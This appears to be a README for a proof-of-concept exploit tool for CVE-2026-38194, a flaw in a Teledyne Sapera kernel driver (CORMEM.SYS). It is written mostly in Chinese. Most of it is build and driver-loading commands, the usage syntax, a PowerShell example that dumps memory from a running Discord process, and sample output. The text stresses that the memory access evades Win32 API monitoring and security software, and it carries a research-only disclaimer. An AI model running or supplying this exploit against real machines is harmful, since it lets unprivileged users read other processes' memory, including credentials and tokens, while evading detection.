
This tool demonstrates CVE-2026-38194, a vulnerability in Teledyne Digital Imaging Sapera Memory Manager (v9.0.0.0 and below). The CORMEM.SYS kernel driver exposes IOCTLs without any access control checks, allowing a standard unprivileged user to read and write arbitrary process memory directly through the kernel — bypassing Win32 API monitoring
免责声明:
本项目仅用于教育与安全研究目的。 请仅在您拥有或已获得明确授权测试的系统上使用。 未经授权使用可能在您的司法管辖区违法。
该工具演示了 CVE-2026-38194,这是一个存在于 Teledyne Digital Imaging Sapera Memory Manager (v9.0.0.0 及以下版本) 中的漏洞。
CORMEM.SYS 内核驱动程序暴露了 IOCTL 而未进行任何访问控制检查,允许标准无特权用户直接通过内核读取和写入任意进程内存 —— 完全绕过 Win32 API 监控。

内存访问是通过物理地址转换(页表遍历)而非 ReadProcessMemory 实现的,因此对大多数用户态安全软件透明。
cmake -B build -A x64
cmake --build build --config Release
如果尚未加载 CORMEM.SYS,请以管理员身份手动加载:
sc.exe create CORMEM binPath= "C:\path\to\CORMEM.SYS" type= kernel start= demand
sc.exe start CORMEM
完成后卸载:
sc.exe stop CORMEM
sc.exe delete CORMEM
cordrv_exploit.exe <pid> <address> [size]
pid 进程 ID(十进制)
address 要读取的虚拟地址(十六进制)
size 要转储的字节数,默认 256,最大 1048576
# 获取主 Discord 进程
$proc = Get-Process -Name "Discord" | Sort-Object WorkingSet -Descending | Select-Object -First 1
$discordPid = $proc.Id
$base = $proc.Modules[0].BaseAddress
Write-Host "PID : $discordPid"
Write-Host "Base : 0x$($base.ToString('X'))"
.\build\Release\cordrv_exploit.exe $discordPid "0x$($base.ToString('X'))" 256
预期输出:
[*] 目标 PID : 16364
[*] 目标地址 : 0x7FF6FC180000
[*] 转储大小 : 256 字节
[*] 正在初始化 CorDrv...
[+] 驱动程序已初始化。
[*] 正在查找系统 DTB...
[+] 系统 DTB: 0x1AE000
[*] 正在搜索 PID 16364 的 EPROCESS 列表...
[+] 进程 DTB: 0x2CD30F000
[+] VA 0x7FF6FC180000 -> PA 0x1A98C2000
内存转储 (0x7FF6FC180000, 256 字节):
7FF6FC180000: 4D 5A 78 00 01 00 00 00 04 00 00 00 00 00 00 00
7FF6FC180010: 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
...
[+] 完成。
偏移 0 处的 4D 5A 确认已成功从物理 RAM 中读取到 MZ 头部。